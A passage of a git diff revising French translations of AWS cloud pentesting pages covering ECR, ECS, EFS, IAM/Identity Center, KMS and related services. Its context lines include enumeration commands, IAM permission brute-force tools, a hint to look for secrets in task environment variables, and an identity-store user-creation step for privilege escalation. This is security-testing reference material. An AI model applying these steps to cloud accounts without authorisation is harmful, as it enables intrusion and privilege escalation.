réseau spécifié. **Par défaut, il n'y a pas de règles d'autorisation** et vous devez configurer des règles d'autorisation pour permettre aux utilisateurs d'accéder aux ressources et réseaux. - **Client :** L'utilisateur final se connectant au point de terminaison VPN client pour établir une session VPN. Les utilisateurs finaux doivent télécharger un client OpenVPN et utiliser le fichier de configuration du point de terminaison VPN client que vous avez créé pour établir une session VPN. - **Plage CIDR client :** Une plage d'adresses IP à partir de laquelle attribuer des adresses IP client. Chaque connexion au point de terminaison VPN client se voit attribuer une adresse IP unique de la plage CIDR client. Vous choisissez la plage CIDR client, par exemple, `10.2.0.0/16`. @@ -181,8 +181,8 @@ De plus, prenez en compte les éléments suivants lorsque vous utilisez le VPN S - La **plage CIDR client ne peut pas être changée** après la création du point de terminaison VPN client. - Les **sous-réseaux** associés à un point de terminaison VPN client **doivent être dans le même VPC**. - Vous **ne pouvez pas associer plusieurs sous-réseaux de la même zone de disponibilité à un point de terminaison VPN client**. -- Un point de terminaison VPN client **ne prend pas en charge les associations de sous-réseaux dans un VPC à location dédiée**. -- Le VPN client prend en charge uniquement le trafic **IPv4**. +- Un point de terminaison VPN client **ne prend pas en charge les associations de sous-réseaux dans un VPC à occupation dédiée**. +- Le VPN client prend en charge **uniquement** le trafic IPv4. - Le VPN client **n'est pas** conforme aux normes de traitement de l'information fédérales (**FIPS**). - Si l'authentification multi-facteurs (MFA) est désactivée pour votre Active Directory, un mot de passe utilisateur ne peut pas être au format suivant. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 83092a086..c6a6db8fb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -23,11 +23,11 @@ Chaque compte AWS a 2 registres : **Privé** & **Public**. - **Contrôle d'accès** : Vous pouvez **contrôler l'accès** à vos images de conteneurs privées en utilisant des **politiques IAM**, et vous pouvez configurer des autorisations granulaires basées sur des utilisateurs ou des rôles. - **Intégration avec les services AWS** : Les registres privés Amazon ECR peuvent être facilement **intégrés avec d'autres services AWS**, tels que EKS, ECS... - **Autres options de registre privé** : -- La colonne d'immuabilité des tags indique son statut, si l'immuabilité des tags est activée, cela **empêchera** les **pushs** d'images avec des **tags préexistants** de remplacer les images. +- La colonne d'immuabilité des tags indique son statut, si l'immuabilité des tags est activée, elle **empêchera** les **pushs** d'images avec des **tags préexistants** de remplacer les images. - La colonne **Type de chiffrement** liste les propriétés de chiffrement du dépôt, elle montre les types de chiffrement par défaut tels que AES-256, ou a des chiffrages **KMS** activés. -- La colonne **Cache de tirage** indique son statut, si le statut du cache de tirage est Actif, il mettra en cache les **dépôts dans un dépôt public externe dans votre dépôt privé**. +- La colonne **Pull through cache** indique son statut, si le statut Pull through cache est Actif, il mettra en cache les **dépôts dans un dépôt public externe dans votre dépôt privé**. - Des **politiques IAM** spécifiques peuvent être configurées pour accorder différentes **permissions**. -- La **configuration de scan** permet de scanner les vulnérabilités dans les images stockées à l'intérieur du dépôt. +- La **configuration de scan** permet de scanner les vulnérabilités dans les images stockées dans le dépôt. 2. **Registres publics** : @@ -43,7 +43,7 @@ Ce sont les **images** qui se trouvent dans le **registre privé** ou dans le ** #### Politiques de registre et de dépôt -**Registres et dépôts** ont également des **politiques qui peuvent être utilisées pour accorder des permissions à d'autres principaux/comptes**. Par exemple, dans l'image de politique de dépôt suivante, vous pouvez voir comment tout utilisateur de l'ensemble de l'organisation pourra accéder à l'image : +Les **registres et dépôts** ont également des **politiques qui peuvent être utilisées pour accorder des permissions à d'autres principaux/comptes**. Par exemple, dans l'image de politique de dépôt suivante, vous pouvez voir comment tout utilisateur de l'ensemble de l'organisation pourra accéder à l'image :
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index fc20d0efb..f555ef257 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -6,17 +6,17 @@ ### Informations de base -Amazon **Elastic Container Services** ou ECS fournit une plateforme pour **héberger des applications conteneurisées dans le cloud**. ECS a deux méthodes de **déploiement**, le type d'instance **EC2** et une option **sans serveur**, **Fargate**. Le service **facilite grandement l'exécution de conteneurs dans le cloud**. +Amazon **Elastic Container Services** ou ECS fournit une plateforme pour **héberger des applications conteneurisées dans le cloud**. ECS a deux **méthodes de déploiement**, le type d'instance **EC2** et une option **sans serveur**, **Fargate**. Le service **facilite grandement l'exécution de conteneurs dans le cloud**. -ECS fonctionne en utilisant les trois blocs de construction suivants : **Clusters**, **Services**, et **Définitions de tâches**. +ECS fonctionne en utilisant les trois blocs de construction suivants : **Clusters**, **Services** et **Définitions de tâches**. - **Clusters** sont des **groupes de conteneurs** qui fonctionnent dans le cloud. Comme mentionné précédemment, il existe deux types de lancement pour les conteneurs, EC2 et Fargate. AWS définit le type de lancement **EC2** comme permettant aux clients “d'exécuter \[leurs] applications conteneurisées sur un cluster d'instances Amazon EC2 que \[ils] **gèrent**”. **Fargate** est similaire et est défini comme “\[permettant] d'exécuter vos applications conteneurisées **sans avoir besoin de provisionner et de gérer** l'infrastructure backend”. -- **Services** sont créés à l'intérieur d'un cluster et responsables de **l'exécution des tâches**. À l'intérieur d'une définition de service, **vous définissez le nombre de tâches à exécuter, l'auto-scaling, le fournisseur de capacité (Fargate/EC2/Externe),** les informations de **réseau** telles que les VPC, sous-réseaux et groupes de sécurité. +- **Services** sont créés à l'intérieur d'un cluster et sont responsables de **l'exécution des tâches**. Dans une définition de service, **vous définissez le nombre de tâches à exécuter, l'auto-scaling, le fournisseur de capacité (Fargate/EC2/Externe),** les informations de **réseau** telles que les VPC, sous-réseaux et groupes de sécurité. - Il y a **2 types d'applications** : - **Service** : Un groupe de tâches gérant un travail informatique de longue durée qui peut être arrêté et redémarré. Par exemple, une application web. -- **Tâche** : Une tâche autonome qui s'exécute et se termine. Par exemple, un travail par lot. +- **Tâche** : Une tâche autonome qui s'exécute et se termine. Par exemple, un travail par lots. - Parmi les applications de service, il y a **2 types de planificateurs de service** : -- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html) : La stratégie de planification des répliques place et **maintient le nombre désiré** de tâches à travers votre cluster. Si pour une raison quelconque une tâche s'arrête, une nouvelle est lancée sur le même ou un autre nœud. +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html) : La stratégie de planification des répliques place et **maintient le nombre désiré** de tâches dans votre cluster. Si pour une raison quelconque une tâche s'arrête, une nouvelle est lancée dans le même ou un autre nœud. - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html) : Déploie exactement une tâche sur chaque instance de conteneur active qui a les exigences nécessaires. Il n'est pas nécessaire de spécifier un nombre désiré de tâches, une stratégie de placement de tâches, ou d'utiliser des politiques d'auto-scaling de service. - **Définitions de tâches** sont responsables de **définir quels conteneurs seront exécutés** et les divers paramètres qui seront configurés avec les conteneurs tels que **mappages de ports** avec l'hôte, **variables d'environnement**, Docker **entrypoint**... - Vérifiez **les variables d'environnement pour des informations sensibles** ! @@ -59,7 +59,7 @@ aws ecs describe-task-definition --task-definition : ### Privesc -Dans la page suivante, vous pouvez vérifier comment **abuser des permissions ECS pour élever les privilèges** : +Dans la page suivante, vous pouvez vérifier comment **abuser des permissions ECS pour escalader les privilèges** : {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index 45a50cc50..8f380157b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -58,7 +58,7 @@ sudo mount -t efs :/ /efs/ ### IAM Access Par **défaut**, toute personne ayant **un accès réseau à l'EFS** pourra le monter, **le lire et y écrire même en tant qu'utilisateur root**. Cependant, des politiques de système de fichiers pourraient être en place **n'autorisant que les principaux avec des autorisations spécifiques** à y accéder.\ -Par exemple, cette politique de système de fichiers **ne permettra même pas de monter** le système de fichiers si vous **n'avez pas la permission IAM** : +Par exemple, cette politique de système de fichiers **ne permettra même pas de monter** le système de fichiers si vous **n'avez pas l'autorisation IAM** : ```json { "Version": "2012-10-17", @@ -94,7 +94,7 @@ sudo mount -t efs -o tls,iam :/ /efs/ ``` ### Points d'accès -**Les points d'accès** sont des **points d'entrée** spécifiques à l'**application** **dans un système de fichiers EFS** qui facilitent la gestion de l'accès des applications aux ensembles de données partagés. +**Les points d'accès** sont des points d'entrée **spécifiques à l'application** **dans un système de fichiers EFS** qui facilitent la gestion de l'accès des applications aux ensembles de données partagés. Lorsque vous créez un point d'accès, vous pouvez **spécifier le propriétaire et les permissions POSIX** pour les fichiers et répertoires créés via le point d'accès. Vous pouvez également **définir un répertoire racine personnalisé** pour le point d'accès, soit en spécifiant un répertoire existant, soit en créant un nouveau avec les permissions souhaitées. Cela vous permet de **contrôler l'accès à votre système de fichiers EFS sur une base par application ou par utilisateur**, facilitant ainsi la gestion et la sécurisation de vos données de fichiers partagées. @@ -105,7 +105,7 @@ sudo mount -t efs -o tls,[iam],accesspoint= \ /efs/ ``` > [!WARNING] -> Notez qu'en essayant de monter un point d'accès, vous devez toujours être capable de **contacter le service NFS via le réseau**, et si l'EFS a une **politique** de système de fichiers, vous avez besoin de **suffisantes autorisations IAM** pour le monter. +> Notez qu'en essayant de monter un point d'accès, vous devez toujours être en mesure de **contacter le service NFS via le réseau**, et si l'EFS a une **politique** de système de fichiers, vous avez besoin de **suffisantes autorisations IAM** pour le monter. Les points d'accès peuvent être utilisés pour les objectifs suivants : diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index 364c88913..0e4508bd3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -8,7 +8,7 @@ Amazon Elastic Kubernetes Service (Amazon EKS) est conçu pour éliminer le beso Les aspects clés d'Amazon EKS incluent : -1. **Plan de contrôle Kubernetes géré** : Amazon EKS automatise des tâches critiques telles que le patching, la provision des nœuds et les mises à jour. +1. **Plan de contrôle Kubernetes géré** : Amazon EKS automatise des tâches critiques telles que le patching, le provisionnement des nœuds et les mises à jour. 2. **Intégration avec les services AWS** : Il offre une intégration transparente avec les services AWS pour le calcul, le stockage, la base de données et la sécurité. 3. **Scalabilité et sécurité** : Amazon EKS est conçu pour être hautement disponible et sécurisé, offrant des fonctionnalités telles que le scaling automatique et l'isolation par conception. 4. **Compatibilité avec Kubernetes** : Les applications fonctionnant sur Amazon EKS sont entièrement compatibles avec les applications fonctionnant sur n'importe quel environnement Kubernetes standard. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index d27a3a161..20d4ac8ba 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -6,7 +6,7 @@ Amazon Elastic Beanstalk fournit une plateforme simplifiée pour **déployer, gérer et mettre à l'échelle des applications et services web**. Il prend en charge une variété de langages de programmation et de frameworks, tels que Java, .NET, PHP, Node.js, Python, Ruby et Go, ainsi que des conteneurs Docker. Le service est compatible avec des serveurs largement utilisés, y compris Apache, Nginx, Passenger et IIS. -Elastic Beanstalk offre un moyen simple et flexible de **déployer vos applications dans le cloud AWS**, sans avoir à se soucier de l'infrastructure sous-jacente. Il **gère automatiquement** les détails de la **provisionnement** de capacité, de l'**équilibrage de charge**, de la **mise à l'échelle** et de la **surveillance de la santé** des applications, vous permettant de vous concentrer sur l'écriture et le déploiement de votre code. +Elastic Beanstalk offre un moyen simple et flexible de **déployer vos applications dans le cloud AWS**, sans avoir à se soucier de l'infrastructure sous-jacente. Il **gère automatiquement** les détails de la **provisionnement** de capacité, de l'**équilibrage de charge**, de la **mise à l'échelle** et de la **surveillance** de la santé des applications, vous permettant de vous concentrer sur l'écriture et le déploiement de votre code. L'infrastructure créée par Elastic Beanstalk est gérée par des **Groupes d'Autoscaling** dans **EC2** (avec un équilibreur de charge). Ce qui signifie qu'à la fin de la journée, si vous **compromettez l'hôte**, vous devez connaître EC2 : @@ -51,13 +51,13 @@ Lors de la création d'une application dans Beanstalk, il y a 3 options de sécu - **Rôle de service** : C'est le **rôle que le service AWS** utilisera pour effectuer toutes les actions nécessaires. A ma connaissance, un utilisateur AWS ordinaire ne peut pas accéder à ce rôle. - Ce rôle généré par AWS s'appelle **`aws-elasticbeanstalk-service-role`** et utilise les politiques gérées par AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) et [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) -Par défaut, **la version des métadonnées 1 est désactivée** : +Par défaut, **la version de métadonnées 1 est désactivée** :
### Exposition -Les données Beanstalk sont stockées dans un **bucket S3** avec le nom suivant : **`elasticbeanstalk--`** (si elles ont été créées dans la console AWS). À l'intérieur de ce bucket, vous trouverez le **code source de l'application** téléchargé. +Les données de Beanstalk sont stockées dans un **bucket S3** avec le nom suivant : **`elasticbeanstalk--`** (si elles ont été créées dans la console AWS). À l'intérieur de ce bucket, vous trouverez le **code source de l'application** téléchargé. L'**URL** de la page web créée est **`http://-env...elasticbeanstalk.com/`** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index f2d3f7d7c..812f98ec1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -1,4 +1,4 @@ -# AWS - IAM, Centre d'identité & Enum SSO +# AWS - IAM, Identity Center & SSO Enum {{#include ../../../banners/hacktricks-training.md}} @@ -90,7 +90,7 @@ aws iam list-virtual-mfa-devices ``` ### Permissions Brute Force -Si vous êtes intéressé par vos propres permissions mais que vous n'avez pas accès pour interroger IAM, vous pouvez toujours les brute-forcer. +Si vous êtes intéressé par vos propres permissions mais que vous n'avez pas accès pour interroger IAM, vous pouvez toujours les forcer par brute force. #### bf-aws-permissions @@ -108,7 +108,7 @@ python3 aws_permissions_checker.py --profile [--arn ] ``` #### Perms2ManagedPolicies -Si vous avez trouvé **certaines autorisations que votre utilisateur possède**, et que vous pensez qu'elles sont accordées par un **rôle AWS géré** (et non par un rôle personnalisé). Vous pouvez utiliser l'outil [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) pour vérifier tous les **rôles gérés par AWS qui accordent les autorisations que vous avez découvertes que vous avez**. +Si vous avez trouvé **certaines autorisations que votre utilisateur possède**, et que vous pensez qu'elles sont accordées par un **rôle AWS géré** (et non par un rôle personnalisé). Vous pouvez utiliser l'outil [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) pour vérifier tous les **rôles gérés par AWS qui accordent les autorisations que vous avez découvertes**. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt @@ -132,7 +132,7 @@ python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PR Pour utiliser l'outil [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), vous devez d'abord télécharger tous les points de terminaison API AWS, à partir desquels le script **`generate_bruteforce_tests.py`** obtiendra tous les **points de terminaison "list\_", "describe\_" et "get\_"**. Et enfin, il essaiera de **y accéder** avec les identifiants fournis et **indiquera si cela a fonctionné**. -(D'après mon expérience, l'**outil se bloque à un moment donné**, [**consultez ce correctif**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) pour essayer de résoudre ce problème). +(D'après mon expérience, l'**outil se bloque à un moment donné**, [**consultez cette correction**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) pour essayer de résoudre ce problème). > [!WARNING] > D'après mon expérience, cet outil est comme le précédent mais fonctionne moins bien et vérifie moins de permissions. @@ -178,7 +178,7 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` -#### Outils de renforcement pour BF permissions +#### Outils de durcissement pour BF permissions {{#tabs }} {{#tab name="CloudSploit" }} @@ -255,7 +255,7 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` -### Enumeration +### Énumération Les principaux éléments du Centre d'identité sont : @@ -263,10 +263,10 @@ Les principaux éléments du Centre d'identité sont : - Ensembles de permissions : ont des politiques attachées - Comptes AWS -Ensuite, des relations sont créées afin que les utilisateurs/groupes aient des Ensembles de permissions sur le compte AWS. +Ensuite, des relations sont créées afin que les utilisateurs/groupes aient des ensembles de permissions sur le compte AWS. > [!NOTE] -> Notez qu'il existe 3 façons d'attacher des politiques à un Ensemble de permissions. Attacher des politiques gérées par AWS, des politiques gérées par le client (ces politiques doivent être créées dans tous les comptes que l'Ensemble de permissions affecte), et des politiques en ligne (définies ici). +> Notez qu'il existe 3 façons d'attacher des politiques à un ensemble de permissions. Attacher des politiques gérées par AWS, des politiques gérées par le client (ces politiques doivent être créées dans tous les comptes que l'ensemble de permissions affecte), et des politiques en ligne (définies ici). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -300,7 +300,7 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` -### Local Enumeration +### Énumération locale Il est possible de créer dans le dossier `$HOME/.aws` le fichier config pour configurer des profils accessibles via SSO, par exemple : ```ini @@ -365,8 +365,8 @@ aws identitystore create-user --identity-store-id --user-name privesc ``` - Créez un groupe et attribuez-lui des autorisations et définissez un utilisateur contrôlé dessus - Donnez des autorisations supplémentaires à un utilisateur ou groupe contrôlé -- Par défaut, seuls les utilisateurs ayant des autorisations du compte de gestion pourront accéder et contrôler le Centre d'identité IAM. +- Par défaut, seuls les utilisateurs ayant des autorisations du compte de gestion pourront accéder et contrôler le IAM Identity Center. -Cependant, il est possible via l'administrateur délégué de permettre à des utilisateurs d'un compte différent de le gérer. Ils n'auront pas exactement les mêmes autorisations, mais ils pourront effectuer des [**activités de gestion**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +Cependant, il est possible via Delegate Administrator de permettre à des utilisateurs d'un compte différent de le gérer. Ils n'auront pas exactement les mêmes autorisations, mais ils pourront effectuer des [**activités de gestion**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 148c1b894..9d529138f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -6,7 +6,7 @@ Amazon Kinesis Data Firehose est un **service entièrement géré** qui facilite la livraison de **données de streaming en temps réel**. Il prend en charge une variété de destinations, y compris Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk et des points de terminaison HTTP personnalisés. -Le service élimine le besoin d'écrire des applications ou de gérer des ressources en permettant aux producteurs de données d'être configurés pour transmettre des données directement à Kinesis Data Firehose. Ce service est responsable de la **livraison automatique des données à la destination spécifiée**. De plus, Kinesis Data Firehose offre la possibilité de **transformer les données avant leur livraison**, améliorant ainsi sa flexibilité et son applicabilité à divers cas d'utilisation. +Le service soulage le besoin d'écrire des applications ou de gérer des ressources en permettant aux producteurs de données d'être configurés pour transférer des données directement vers Kinesis Data Firehose. Ce service est responsable de la **livraison automatique des données à la destination spécifiée**. De plus, Kinesis Data Firehose offre la possibilité de **transformer les données avant leur livraison**, améliorant ainsi sa flexibilité et son applicabilité à divers cas d'utilisation. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 96fa7c270..084952f12 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -4,21 +4,21 @@ ## KMS - Service de Gestion des Clés -Le Service de Gestion des Clés d'AWS (AWS KMS) est présenté comme un service géré, simplifiant le processus pour les utilisateurs de **créer et gérer des clés maîtresses client** (CMK). Ces CMK sont intégrales dans le chiffrement des données utilisateur. Une caractéristique notable d'AWS KMS est que les CMK sont principalement **sécurisées par des modules de sécurité matériels** (HSM), renforçant la protection des clés de chiffrement. +Le Service de Gestion des Clés d'AWS (AWS KMS) est présenté comme un service géré, simplifiant le processus pour les utilisateurs de **créer et gérer des clés maîtresses client** (CMK). Ces CMK sont essentielles dans le chiffrement des données utilisateur. Une caractéristique notable d'AWS KMS est que les CMK sont principalement **sécurisées par des modules de sécurité matériels** (HSM), renforçant la protection des clés de chiffrement. KMS utilise **la cryptographie symétrique**. Cela est utilisé pour **chiffrer les informations au repos** (par exemple, à l'intérieur d'un S3). Si vous devez **chiffrer des informations en transit**, vous devez utiliser quelque chose comme **TLS**. -KMS est un **service spécifique à la région**. +KMS est un **service spécifique à une région**. -**Les administrateurs d'Amazon n'ont pas accès à vos clés**. Ils ne peuvent pas récupérer vos clés et ils ne vous aident pas avec le chiffrement de vos clés. AWS administre simplement le système d'exploitation et l'application sous-jacente, il nous appartient d'administrer nos clés de chiffrement et de gérer comment ces clés sont utilisées. +**Les administrateurs d'Amazon n'ont pas accès à vos clés**. Ils ne peuvent pas récupérer vos clés et ne vous aident pas avec le chiffrement de vos clés. AWS administre simplement le système d'exploitation et l'application sous-jacente, il nous appartient d'administrer nos clés de chiffrement et de gérer comment ces clés sont utilisées. -**Clés Maîtresses Client** (CMK) : Peuvent chiffrer des données jusqu'à 4 Ko de taille. Elles sont généralement utilisées pour créer, chiffrer et déchiffrer les DEK (Clés de Chiffrement des Données). Ensuite, les DEK sont utilisées pour chiffrer les données. +**Clés Maîtresses Client** (CMK) : Peuvent chiffrer des données jusqu'à 4 Ko. Elles sont généralement utilisées pour créer, chiffrer et déchiffrer les DEK (Clés de Chiffrement des Données). Ensuite, les DEK sont utilisées pour chiffrer les données. -Une clé maîtresse client (CMK) est une représentation logique d'une clé maîtresse dans AWS KMS. En plus des identifiants de la clé maîtresse et d'autres métadonnées, y compris sa date de création, sa description et son état de clé, une **CMK contient le matériel de clé utilisé pour chiffrer et déchiffrer les données**. Lorsque vous créez une CMK, par défaut, AWS KMS génère le matériel de clé pour cette CMK. Cependant, vous pouvez choisir de créer une CMK sans matériel de clé et ensuite importer votre propre matériel de clé dans cette CMK. +Une clé maîtresse client (CMK) est une représentation logique d'une clé maîtresse dans AWS KMS. En plus des identifiants de la clé maîtresse et d'autres métadonnées, y compris sa date de création, sa description et son état, une **CMK contient le matériel de clé utilisé pour chiffrer et déchiffrer les données**. Lorsque vous créez une CMK, par défaut, AWS KMS génère le matériel de clé pour cette CMK. Cependant, vous pouvez choisir de créer une CMK sans matériel de clé et ensuite importer votre propre matériel de clé dans cette CMK. Il existe 2 types de clés maîtresses : -- **CMK gérées par AWS : Utilisées par d'autres services pour chiffrer des données**. Elles sont utilisées par le service qui les a créées dans une région. Elles sont créées la première fois que vous implémentez le chiffrement dans ce service. Se renouvellent tous les 3 ans et il n'est pas possible de les changer. +- **CMK gérées par AWS : Utilisées par d'autres services pour chiffrer des données**. Elles sont utilisées par le service qui les a créées dans une région. Elles sont créées la première fois que vous implémentez le chiffrement dans ce service. Elles sont renouvelées tous les 3 ans et il n'est pas possible de les modifier. - **CMK gérées par le client** : Flexibilité, rotation, accès configurable et politique de clé. Activer et désactiver les clés. **Chiffrement par enveloppe** dans le contexte du Service de Gestion des Clés (KMS) : Système hiérarchique à deux niveaux pour **chiffrer les données avec une clé de données puis chiffrer la clé de données avec la clé maîtresse**. @@ -31,15 +31,15 @@ Par **défaut :** - Cela donne à **l'IAM du** **compte AWS qui possède la clé KMS l'accès** pour gérer l'accès à la clé KMS via IAM. -Contrairement à d'autres politiques de ressources AWS, une **politique de clé KMS d'AWS ne donne pas automatiquement la permission à l'un des principaux du compte**. Pour donner la permission aux administrateurs de compte, **la politique de clé doit inclure une déclaration explicite** qui fournit cette permission, comme celle-ci. +Contrairement à d'autres politiques de ressources AWS, une **politique de clé KMS ne donne pas automatiquement la permission à l'un des principaux du compte**. Pour donner la permission aux administrateurs du compte, **la politique de clé doit inclure une déclaration explicite** qui fournit cette permission, comme celle-ci. - Sans permettre au compte (`"AWS": "arn:aws:iam::111122223333:root"`) les permissions IAM ne fonctionneront pas. - Cela **permet au compte d'utiliser des politiques IAM** pour autoriser l'accès à la clé KMS, en plus de la politique de clé. -**Sans cette permission, les politiques IAM qui permettent l'accès à la clé sont inefficaces**, bien que les politiques IAM qui refusent l'accès à la clé soient toujours efficaces. +**Sans cette permission, les politiques IAM qui permettent l'accès à la clé sont inefficaces**, bien que les politiques IAM qui refusent l'accès à la clé restent efficaces. -- Cela **réduit le risque que la clé devienne ingérable** en donnant la permission de contrôle d'accès aux administrateurs de compte, y compris l'utilisateur root du compte, qui ne peut pas être supprimé. +- Cela **réduit le risque que la clé devienne ingérable** en donnant la permission de contrôle d'accès aux administrateurs du compte, y compris l'utilisateur root du compte, qui ne peut pas être supprimé. **Exemple de politique par défaut** : ```json @@ -54,41 +54,41 @@ Contrairement à d'autres politiques de ressources AWS, une **politique de clé } ``` > [!WARNING] -> Si le **compte est autorisé** (`"arn:aws:iam::111122223333:root"`), un **principal** du compte **aura toujours besoin des autorisations IAM** pour utiliser la clé KMS. Cependant, si l'**ARN** d'un rôle par exemple est **spécifiquement autorisé** dans la **politique de clé**, ce rôle **n'a pas besoin d'autorisations IAM**. +> Si le **compte est autorisé** (`"arn:aws:iam::111122223333:root"`), un **principal** du compte **aura toujours besoin des permissions IAM** pour utiliser la clé KMS. Cependant, si l'**ARN** d'un rôle par exemple est **spécifiquement autorisé** dans la **Politique de Clé**, ce rôle **n'a pas besoin de permissions IAM**.
-Détails de la politique +Détails de la Politique Propriétés d'une politique : - Document basé sur JSON - Ressource --> Ressources affectées (peut être "\*") -- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (autorisations) +- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) - Effet --> Autoriser/Refuser - Principal --> arn affecté -- Conditions (optionnel) --> Condition pour donner les autorisations +- Conditions (optionnel) --> Condition pour donner les permissions -Octrois : +Accords : -- Permet de déléguer vos autorisations à un autre principal AWS au sein de votre compte AWS. Vous devez les créer en utilisant les API AWS KMS. Il peut être indiqué l'identifiant CMK, le principal bénéficiaire et le niveau d'opération requis (Déchiffrer, Chiffrer, GénérerDataKey...) -- Après la création de l'octroi, un GrantToken et un GrantID sont émis +- Permet de déléguer vos permissions à un autre principal AWS au sein de votre compte AWS. Vous devez les créer en utilisant les API AWS KMS. Il peut être indiqué l'identifiant CMK, le principal bénéficiaire et le niveau d'opération requis (Déchiffrer, Chiffrer, GénérerDataKey...) +- Après la création de l'accord, un GrantToken et un GrantID sont émis **Accès** : - Via **politique de clé** -- Si cela existe, cela prend **précédence** sur la politique IAM - Via **politique IAM** -- Via **octrois** +- Via **accords**
-### Administrateurs de clés +### Administrateurs de Clé -Administrateur de clés par défaut : +Administrateur de clé par défaut : - A accès pour gérer KMS mais pas pour chiffrer ou déchiffrer des données -- Seuls les utilisateurs et rôles IAM peuvent être ajoutés à la liste des administrateurs de clés (pas de groupes) -- Si un CMK externe est utilisé, les administrateurs de clés ont la permission d'importer des matériaux de clé +- Seuls les utilisateurs et rôles IAM peuvent être ajoutés à la liste des Administrateurs de Clé (pas les groupes) +- Si un CMK externe est utilisé, les Administrateurs de Clé ont la permission d'importer des matériaux de clé ### Rotation des CMK @@ -96,13 +96,13 @@ Administrateur de clés par défaut : - **KMS fait tourner les clés clients tous les 365 jours** (ou vous pouvez effectuer le processus manuellement quand vous le souhaitez) et **les clés gérées par AWS tous les 3 ans** et cette fois-ci, cela ne peut pas être changé. - **Les anciennes clés sont conservées** pour déchiffrer les données qui ont été chiffrées avant la rotation - En cas de compromission, faire tourner la clé ne supprimera pas la menace car il sera possible de déchiffrer toutes les données chiffrées avec la clé compromise. Cependant, les **nouvelles données seront chiffrées avec la nouvelle clé**. -- Si le **CMK** est en état de **désactivé** ou **en attente de** **suppression**, KMS **ne procédera pas à une rotation de clé** tant que le CMK n'est pas réactivé ou que la suppression n'est pas annulée. +- Si le **CMK** est dans un état de **désactivé** ou **en attente de** **suppression**, KMS **ne procédera pas à une rotation de clé** tant que le CMK n'est pas réactivé ou que la suppression n'est pas annulée. #### Rotation manuelle - Un **nouveau CMK doit être créé**, ensuite, un nouvel ID de CMK est créé, donc vous devrez **mettre à jour** toute **application** pour **référencer** le nouvel ID de CMK. - 